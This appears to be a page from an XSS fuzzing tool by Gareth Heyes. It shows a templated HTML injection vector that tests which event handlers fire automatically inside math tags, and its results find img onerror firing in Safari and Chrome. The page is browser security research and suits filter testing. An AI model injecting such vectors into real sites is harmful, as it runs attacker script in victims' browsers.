XSS vectors that execute automatically inside math

This vector shows which events fire without user interaction inside a math tag

Created by: Gareth Heyes

Created on: 4/17/2024, 6:33:17 PM

Updated on: 5/18/2024, 9:37:26 AM

Vector type: XSS

Template used:
<math><$[data1] src=1 srcdoc=1 href=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]></math> <math><$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]></math>

Your browser was detected as:
Detecting... Detecting...

Fuzz results:

Safari logo
Safari 17.4.1
Results
Found 1
Data
img->onerror
Chrome logo
Chrome 124.0.0.0
Results
Found 1
Data
img->onerror